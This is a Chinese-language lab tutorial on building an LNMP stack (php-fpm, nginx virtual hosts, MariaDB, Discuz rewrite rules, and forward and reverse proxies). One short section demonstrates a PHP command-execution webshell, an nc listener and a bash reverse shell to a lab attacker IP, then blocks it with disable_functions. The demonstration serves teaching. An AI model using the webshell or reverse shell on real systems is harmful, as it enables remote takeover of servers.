vim /etc/php-fpm.d/www.conf  # 需要调整一些配置
#修改39行和41行，用户和用户组都改为nginx，不然后面的各种操作会报错，权限问题
user = nginx
group = nginx
# 改为之后，执行如下指令
systemctl start php-fpm.service 
systemctl enable php-fpm.service
# php-fmp服务启动之后，会开启一个9000端口
[root@web01 ~]# netstat -lntup
tcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN     
1611/php-fpm: maste

# 比如我们再创建一个web站点
[root@web01 ~]# cd /etc/nginx/conf.d/
[root@web01 conf.d]# ls
a.kaku.com.conf b.kaku.com.conf c.kaku.com.conf www.kaku.top.conf 
yuyan.com.conf
[root@web01 conf.d]# vim kaku.com.conf
#添加上nginx连接php-fpm的配置，直接复制下面这一段就行
server {
 listen 80;
 server_name kaku.com;
 location / {
   root /html/kaku;
   index index.php index.html index.htm;
 }
  # 就是下面这这段配置：大家不需要研究昂，先知道一下即可
 location ~ \.php$ {
           root           /html/kaku; # 要和上面的站点根目录一致，或者放到全局去配
置
           fastcgi_pass   127.0.0.1:9000;
           fastcgi_index index.php;
           fastcgi_param SCRIPT_FILENAME /html/kaku$fastcgi_script_name;
           include       fastcgi_params;
   }
   }
# 创建站点根目录：/html/kaku
[root@web01 conf.d]# mkdir /html/kaku
# 检查配置：
[root@web01 conf.d]# nginx -t
# 重启nginx
[root@web01 conf.d]# systemctl restart nginx
# 我们去下载一个可道云的源代码来作为我们的站点吧：http://kodcloud.com/

[root@web01 kaku]# cd /html/kaku/
# 上传过来
[root@web01 kaku]# ls
kodexplorer4.51.zip
# 解压
[root@web01 kaku]# unzip kodexplorer4.51.zip 
# 查看nginx和php-fpm的启动用户：
[root@web01 kaku]# ps -ef |grep nginx
nginx      1612   1611  0 09:51 ?        00:00:00 php-fpm: pool www
nginx      1613   1611  0 09:51 ?        00:00:00 php-fpm: pool www
nginx      1614   1611  0 09:51 ?        00:00:00 php-fpm: pool www
nginx      1615   1611  0 09:51 ?        00:00:00 php-fpm: pool www
nginx      1616   1611  0 09:51 ?        00:00:00 php-fpm: pool www
root       1676      1  0 10:07 ?        00:00:00 nginx: master process 
/usr/sbin/nginx
nginx      1678   1676  0 10:07 ?        00:00:00 nginx: worker process
root       1697   1488  0 10:15 pts/0    00:00:00 grep --color=auto nginx
# 发现都是nginx用户，但是我们kaku目录中的代码文件都是root用户：
[root@web01 kaku]# ll
总用量 14260
drwxr-xr-x 10 root root      115 4月  11 12:29 app
-rw-r--r--  1 root root    91846 4月  11 12:28 ChangeLog.md
drwxr-xr-x  3 root root       74 4月  11 12:29 config
drwxr-xr-x  7 root root       72 4月  11 12:29 data
-rw-r--r--  1 root root      118 4月  11 12:28 index.php
-rw-r--r--  1 root root 14494333 4月  14 10:10 kodexplorer4.51.zip
drwxr-xr-x 15 root root      218 4月  11 12:29 plugins
-rw-r--r--  1 root root     8074 4月  11 12:28 README.MD
drwxr-xr-x  6 root root       57 4月  11 12:29 static
# 这时候nginx用户是没有权限对这个目录进行上传文件等操作的，所以我们做一下权限修改。
[root@web01 kaku]# chown -R nginx:nginx . # -R的意思是将当前目录的所有文件、文件夹
及其子目录和子文件的用户和用户组都改为nginx。
[root@web01 kaku]# ll
总用量 14260
drwxr-xr-x 10 nginx nginx      115 4月  11 12:29 app
-rw-r--r--  1 nginx nginx    91846 4月  11 12:28 ChangeLog.md
drwxr-xr-x  3 nginx nginx       74 4月  11 12:29 config
drwxr-xr-x  7 nginx nginx       72 4月  11 12:29 data
-rw-r--r--  1 nginx nginx      118 4月  11 12:28 index.php
-rw-r--r--  1 nginx nginx 14494333 4月  14 10:10 kodexplorer4.51.zip
drwxr-xr-x 15 nginx nginx      218 4月  11 12:29 plugins
-rw-r--r--  1 nginx nginx     8074 4月  11 12:28 README.MD
drwxr-xr-x  6 nginx nginx       57 4月  11 12:29 static
# 然后查看一下我们的网站域名：
[root@web01 kaku]# cat /etc/nginx/conf.d/kaku.com.conf 
server {
 listen 80;
 server_name kaku.com;  # 这是我们的域名
 ...
}
# 修改hosts文件，添加一条记录：
192.168.61.139 kaku.com  # 其他的域名我就先删除了，看着太乱。
# 接下来就可以打开浏览器访问kaku.com域名了

<?php system("id") ?>  #php 可以执行操作系统指令

[root@web01 kaku]# find /html -type f -name "kaku.php"
/html/kaku/data/User/admin/home/我的文档/kaku.php
[root@web01 kaku]

# 安装nc
yum install nc -y
# 开启nc监听
nc -lvnp 9999

xxxx -i >& /dev/tcp/192.168.110.136/9999 0>&1  # 这个指令大家先不用管什么意思昂，后面再
讲
#xxxx表示bash，以防我们当前的文档被杀软杀掉，一些敏感的指令，我们分开写
# 攻击机的ip地址：192.168.110.136
# 攻击机nc监听的端口：9999

vim /etc/php.ini
# 修改314行：
314 disable_functions = system,eval
# 重启php-fpm
[root@web01 conf.d]# systemctl restart php-fpm.service 
# 然后再监听，再访问就发现反弹不了了。

linux + nginx + mysql + php   lnmp架构
linux + apache + mysql + php   lamp架构
windows + apache + mysql + php wamp架构
linux + nginx  + mysql  + tomcat lnmt架构 ，主要是跑java语言项目的，tomcat本身也是web服务程序，但是本身效率低，可以和nginx结合一起使用
linux + nginx + mysql + uwsgi   lnmu架构，主要是跑python语言项目的
我们先捋清楚lnmp架构，其他的也就都简单了。

mysql以前是一款开源的软件，收费的商业版数据库是oracle，之前互联网发起了去ioe项目，o就是oracle，很贵。i是IBM硬件、E是EMC存储设备都很贵，所以好多公司发起了这个行动，这也是大家倾向于开源软件的一个原因。后来mysql发展很好，市场占有量也变的比较大了，国内用的特别多，oracle一看不行，10个亿美元收购了mysql，但是mysql的创始人没闲着，按照mysql的标准又创建了一个数据库软件，mariadb，和mysql的用法是基本一样的，所有的操作指令都是之前mysql的。maria是创始人的孙女。
安装数据库
yum install mariadb-server mariadb  -y
systemctl start mariadb
systemctl enable mariadb
# mariadb启动之后会自动监听3306端口
[root@web01 ~]# netstat -lntup
tcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN     
1830/mysqld  
... #可以看到服务还是叫做mysqld

#登录数据库
mysql  #输入mysql然后回车，就能在本机直接登录数据了
[root@web01 ~]# mysql
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 2
Server version: 5.5.68-MariaDB MariaDB Server
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> exit  # exit是退出
# 如果我们关闭了mariadb服务的话，在输入mysql就会报错
[root@web01 ~]# systemctl stop mariadb.service 
[root@web01 ~]# mysql
ERROR 2002 (HY000): Can't connect to local MySQL server through socket 
'/var/lib/mysql/mysql.sock' (2)
#mysql登录进去就可以进行数据库操作了
#数据库中有三个基本概念
#库：存数据表的仓库，可以理解为一个网站一个仓库，他实际上对应着硬盘上的一个文件夹，每个库都有自己
的名字
#表：和excel表一样的表现形式来存储数据，二维表，他对应着文件夹中的一个文件，其实一个表需要多个文
件来存储数据，每个表都有自己的名字
#记录：表的第一行叫做表头，也叫做列名，剩下的行都是实际的数据。一行记录是一条数据，多数都会包含一
个对象的全部描述信息
#举例：比如下面这个表，水果表,fruit：
id name price number
1 苹果 11.00  20
2 香蕉 15.05  18
3 橘子 8.06   30
#查看数据库
show databases;
# mysql默认就有四个库
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql             |
| performance_schema |
| test               |
+--------------------+
4 rows in set (0.00 sec)
# 查看当前登录用户
MariaDB [(none)]> select user();
+----------------+
| user()         |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
sql语句：结构化查询语句，数据库的操作指令
#创建数据库
create database wordpress;
#删除数据库，工作中千万不要删除公司的数据库。
drop database wordpress;
#切换数据库
use mysql
#查看表
show tables;
#删除表
drop table xxxxx;
#查看所有数据
select user,host,Password from user;
#授权，如果没有这个用户，会自动创建，其实创建用户还有几种其他的方式
#给普通用户授远程连接的权限：
grant all on wordpress.* to wordpress@'192.168.61.%' identified by '123456';
#给普通用户授本地登录的权限：默认主机名为localhost，我之前改了主机名叫做web01
#grant all on wordpress.* to wordpress@主机名 identified by '123456';
grant all on wordpress.* to wordpress@web01 identified by '123456';
grant all on wordpress.* to wordpress@localhost identified by '123456';
#使用普通用户登录
mysql -u wordpress -p123456 -h 192.168.61.139
#安全初始化mysql，这个先不执行了。
mysql_secure_installation
回车，n,一路y

#1、操作数据库
create database discuz;
grant all on discuz.* to discuz@'192.168.%.%' identified by '123456';
grant all on discuz.* to discuz@web01 identified by '123456';
grant all on discuz.* to discuz@localhost identified by '123456';

[root@web01 ~]# cd /etc/nginx/conf.d/
[root@web01 conf.d]# ls
# discuz也是php开发的网站
[root@web01 conf.d]# cp wp.kaku.com.conf bbs.kaku.com.conf
[root@web01 conf.d]# vim bbs.kaku.com.conf
server {
 listen 80;
 server_name bbs.kaku.com; 
 location / {
   root /html/bbs;
   index index.php index.html index.htm;
 }
 
 location ~ \.php$ {
           root           /html/bbs; # 要和上面的站点根目录一致，或者放到全局去配置
           fastcgi_pass   127.0.0.1:9000;
           fastcgi_index index.php;
           fastcgi_param SCRIPT_FILENAME /html/wp$fastcgi_script_name;
           include       fastcgi_params;
   }
# 保存之后，检查语法
nginx -t
# 重启nginx
systemctl restart nginx.service
#准备代码文件
mkdir /html/bbs
cd /html/bbs
rz -E
unzip Discuz_X3.4_SC_UTF8_0802.zip 
mv upload/* .
chown -R nginx:nginx .
# 添加hosts文件解析即可
192.168.110.136 kaku.com wp.kaku.com bbs.kaku.com

纯静态网站，特点：没有交互、安全性好、速度快、方便SEO
 # 每个页面都有一个唯一的url地址，比如：
 https://www.cnblogs.com/clschao/articles/10526431.html
   https://www.cnblogs.com/clschao/articles/10391859.html
    # 不同的html文件看到一个不同的网页
    
动态网站，特点：有交互、安全性相对差，速度相对慢、不方便SEO
 http://bbs.kaku.com/forum.php?mod=forumdisplay&fid=2
 http://bbs.kaku.com/forum.php?mod=viewthread&tid=1&extra=page%3D1
 # http://bbs.kaku.com/forum.php网址是一样的，也就是服务端找的是同一个php文件，但是你会发现页面的数据不同了。
 # 动态网站就是服务端根据客户端的网络请求数据中的查询参数数据来动态的给这个php文件加入不同的动态数据伪静态，特点：有交互、不安全、最速最慢、方便SEO
 # 实际上还是动态网站，只不过是做成了静态页面的网址效果。
 比如：http://bbs.kaku.com/forum.php?mod=forumdisplay&fid=2
 可能就变成了：http://bbs.kaku.com/2.html，结尾变成了html，并且没有查询参数了，而且看
上去是一个页面一个html文件

[root@web01 conf.d]# cat discuz.conf 
server {
 listen 80;
 server_name bbs.kaku.com;
 location / {
   root /html/bbs;
   index index.php index.html index.htm;
   # last重写完成后停止处理后续的重写规则,用重写后的URL重新开始匹配location块
   rewrite ^([^\.]*)/topic-(.+)\.html$ $1/portal.php?mod=topic&topic=$2 last;
   rewrite ^([^\.]*)/article-([0-9]+)-([0-9]+)\.html$ $1/portal.php?
mod=view&aid=$2&page=$3 last;
   rewrite ^([^\.]*)/forum-(\w+)-([0-9]+)\.html$ $1/forum.php?
mod=forumdisplay&fid=$2&page=$3 last;
   rewrite ^([^\.]*)/thread-([0-9]+)-([0-9]+)-([0-9]+)\.html$ $1/forum.php?
mod=viewthread&tid=$2&extra=page%3D$4&page=$3 last;
   rewrite ^([^\.]*)/group-([0-9]+)-([0-9]+)\.html$ $1/forum.php?
mod=group&fid=$2&page=$3 last;
   rewrite ^([^\.]*)/space-(username|uid)-(.+)\.html$ $1/home.php?
mod=space&$2=$3 last;
   rewrite ^([^\.]*)/blog-([0-9]+)-([0-9]+)\.html$ $1/home.php?
mod=space&uid=$2&do=blog&id=$3 last;
   rewrite ^([^\.]*)/(fid|tid)-([0-9]+)\.html$ $1/archiver/index.php?
action=$2&value=$3 last;
   rewrite ^([^\.]*)/([a-z]+[a-z0-9_]*)-([a-z0-9_\-]+)\.html$ $1/plugin.php?
id=$2:$3 last;
    if (!-e $request_filename) {
   return 404;
     }
 }
   location ~ \.php$ {
           root           /html/bbs;
           fastcgi_pass   127.0.0.1:9000;
           fastcgi_index index.php;
           fastcgi_param SCRIPT_FILENAME /html/bbs$fastcgi_script_name;
           include       fastcgi_params;
   }
}

nginx会通过rewrite来重写一份新的url，产生一个动态的url来完成动态页面的效果
默认模块页面：
 动态url：http://bbs.kaku.com/forum.php?mod=forumdisplay&fid=2&page=1
 伪静态url：http://bbs.kaku.com/forum-2-1.html
 规则：rewrite ^([^\.]*)/forum-(\w+)-([0-9]+)\.html$ $1/forum.php?
mod=forumdisplay&fid=$2&page=$3 last;
 http://bbs.kaku.com/forum.php?mod=forumdisplay&fid=2&page=1
 
帖子：
 动态：http://bbs.kaku.com/forum.php?mod=viewthread&tid=1&extra=page%3D1
 伪静态：http://bbs.kaku.com/thread-1-1-1.html
 规则：rewrite ^([^\.]*)/thread-([0-9]+)-([0-9]+)-([0-9]+)\.html$ $1/forum.php?
mod=viewthread&tid=$2&extra=page%3D$4&page=$3 last;

# yum install nginx -y
# 去掉配置用的#号行和空行
[root@web01 conf.d]# grep -Ev '^$|#' /etc/nginx/nginx.conf.default > 
/etc/nginx/nginx.conf
[root@web01 conf.d]# vim /etc/nginx/nginx.conf
# 修改nginx的配置分别添加http和https的server，其他配置保持不变，我们就添加个http的演示一下即
可
# 将nginx.conf配置中的server部分替换为下面的server
# 下面配置正向代理转发http请求
server {
 resolver 223.5.5.5;
 listen 80;
 location / {
       proxy_pass                 http://$host$request_uri;
       proxy_set_header           HOST $host;
       proxy_buffers              256 4k;
       proxy_max_temp_file_size   0k;
       proxy_connect_timeout      30;
       proxy_send_timeout         60;
       proxy_read_timeout         60;
       proxy_next_upstream error timeout invalid_header http_502;
   }
}
# nginx -t
# systemctl restart nginx
# 这时候的nginx就不代表一个网站了，只是帮我们进行请求的转发，就是单纯的代理。
# 正向代理转发https请求，这个就暂时不说了

[root@lb01 ~]# cat /etc/nginx/nginx.conf
worker_processes  1;
events {
   worker_connections  1024;
}
http {
   include       mime.types;
   default_type application/octet-stream;
   sendfile       on;

  keepalive_timeout  65;
   server {
       listen       80;
       server_name localhost;
       location / {
           proxy_pass http://192.168.61.140; # 将请求转发到哪个ip地址，原站的ip地址，并且其实我们正常的话是应该加一个DNS解析记录，将我们的域名指向这个代理服务器的ip地址。我们没有真实公网主机来演示，所以改一下hosts文件的记录即可，将原来的域名都指向这个代理主机的ip地址。然后访问网站，wireshark抓包就能看到转发效果。
           
           # 如果只是单纯的配置上面这句话也可以完成反向代理，但是服务端的其他网站就没办法访问到了，因为nginx转发的时候，会用客户端请求的服务器的ip地址，不会用域名，域名丢了，那么服务端的nginx会自动打开一个网站给你响应。所以还是要设置一下nginx转发时的host请求头，让它变成域名。
           proxy_set_header Host $host;  # 设置host，以防请求域名丢失。
           #proxy_set_header kaku 666666; # 可以自定定制多个转发请求时的请求头键值对
           
           # 下面这两个主要是为了记录客户端的真实ip地址，因为有了反向代理之后，我们看到记录的客户端的ip地址是反向代理服务器的ip地址，这样肯定不行呀，无法定位谁攻击的我，所以我们需要记录用户的真实ip，所以就可以在nginx转发请求的时候加两个请求头键值对，将客户端真实ip写进去
           proxy_set_header X-Real-IP $remote_addr;   
           proxy_set_header X-Forwarded-For $remote_addr;  # 这个简称叫做XFF，业内一般都用这个字段来记录客户端真实ip地址，也有用上面这个remote_addr来记录的，所以我们都配置上吧，将nginx的日志记录格式修改一下，加上一个"真实ip：$http_x_forwarded_for"
           #proxy_set_header X-Forwarded-For $http_x_forwarded_for;
       }
   }
}
# 后端服务器日志格式,vim /etc/nginx/nginx.conf，加上如下两条
log_format main '$remote_addr - $remote_user [$time_local] "$request" $http_host 
'
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
access_log /var/log/nginx/new.log main;  # 给所有网站定义日志格式用的
# 保存退出，然后访问网站，就看到日志了。

http {
   include       mime.types;
   default_type application/octet-stream;
   sendfile       on;
   keepalive_timeout  65;
   upstream web{
       server 192.168.61.140;
       server 192.168.61.141;
         }
   server {
       listen       80;
       server_name localhost;
        
       location / {
           proxy_pass http://web;   # 这个地方不写死ip地址了，写个上面配置中的upstream的名称
           proxy_set_header Host $host;  
           proxy_set_header X-Real-IP $remote_addr;   
           proxy_set_header X-Forwarded-For $http_x_forwarded_for;
       }
   }
}